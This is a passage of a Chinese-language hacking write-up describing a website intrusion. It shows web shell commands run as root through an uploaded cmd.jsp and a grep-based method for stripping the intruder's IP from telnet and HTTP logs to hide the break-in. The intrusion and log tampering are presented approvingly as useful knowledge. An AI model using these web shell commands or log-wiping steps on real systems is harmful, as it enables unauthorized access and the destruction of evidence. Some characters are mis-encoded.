接下去的事情，差點沒讓我吐血：
我敲了一個:http://target:8080/upload/cmd.jsp?cmd=id
顯示：
- uid=0(root)gid=0(xxx)groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
我的這個WEB SHELL本來就是ROOT，真是服了那個管理員，也服了自己。竟然折騰了這么半天，哎！
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份運行的（不列出來了）
剩下來的事情：
1、刪除我的telnet記錄。
2、刪除http的日志。
至于清除日志嘛，我使用的辦法是：cat xxx grep -V "IP" >>temp然后在把temp覆蓋那些被我修改過的日志文件。
我沒有更換他的頁面，因為我本身也就不是什么黑客啦，更不是紅客，只是個網(wǎng)絡(luò)安全愛好者而已。所以，發(fā)封郵件告訴system admin吧！
上述的相關(guān)內(nèi)容就是對黑客攻擊技術(shù) WEB網(wǎng)站入侵的過程的描述，希望會給你帶來一些幫助在此方面。
相關(guān)閱讀